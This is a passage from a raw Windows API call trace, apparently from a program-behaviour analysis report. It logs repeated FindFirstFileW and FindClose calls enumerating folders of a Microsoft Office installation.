ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.052] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb0f5e70, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xf2fe5620, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2fe5620, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.054] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb0f5e70, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xf2fe5620, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2fe5620, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.054] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcebb9d90, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.063] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcebb9d90, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.066] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.067] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb0f5e70, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xf2f26f40, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2f26f40, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.067] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb0f5e70, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xf2f26f40, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2f26f40, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.068] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c26650, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.069] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c26650, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.070] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcebdfef0, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xf2e8e9c0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2e8e9c0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.070] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcebdfef0, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xf2e8e9c0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2e8e9c0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.071] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853d8a10, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.074] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853d8a10, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.076] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\1033\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853d8a10, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb820f600, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb820f600, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.078] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.078] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\1033\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853d8a10, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb820f600, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb820f600, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.079] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcebdfef0, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xb81c3340, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb81c3340, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.081] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcebdfef0, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xb81c3340, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb81c3340, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.083] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85235af0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x85235af0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x85235af0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.085] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85235af0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x85235af0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x85235af0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.086] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x873fb310, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.087] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.087] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x873fb310, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.088] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28f6bc90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.089] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28f6bc90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5ef3180, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ef3180, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.090] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78dd43f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f192e0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f192e0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.093] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78dd43f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f192e0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f192e0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.094] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cccd50, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f192e0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f192e0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.097] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cccd50, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f192e0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f192e0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.099] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x852ce070, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f192e0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f192e0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.101] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x852ce070, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f192e0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f192e0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.101] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcca3650, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb81c3340, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb81c3340, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.102] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcca3650, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb81c3340, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb81c3340, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.103] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13a48bb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f8b700, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f8b700, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.104] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13a48bb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f8b700, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f8b700, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.108] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc97b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f8b700, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f8b700, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.108] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc97b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5f8b700, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5f8b700, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.109] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a80430, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb819d1e0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb819d1e0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.114] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.115] 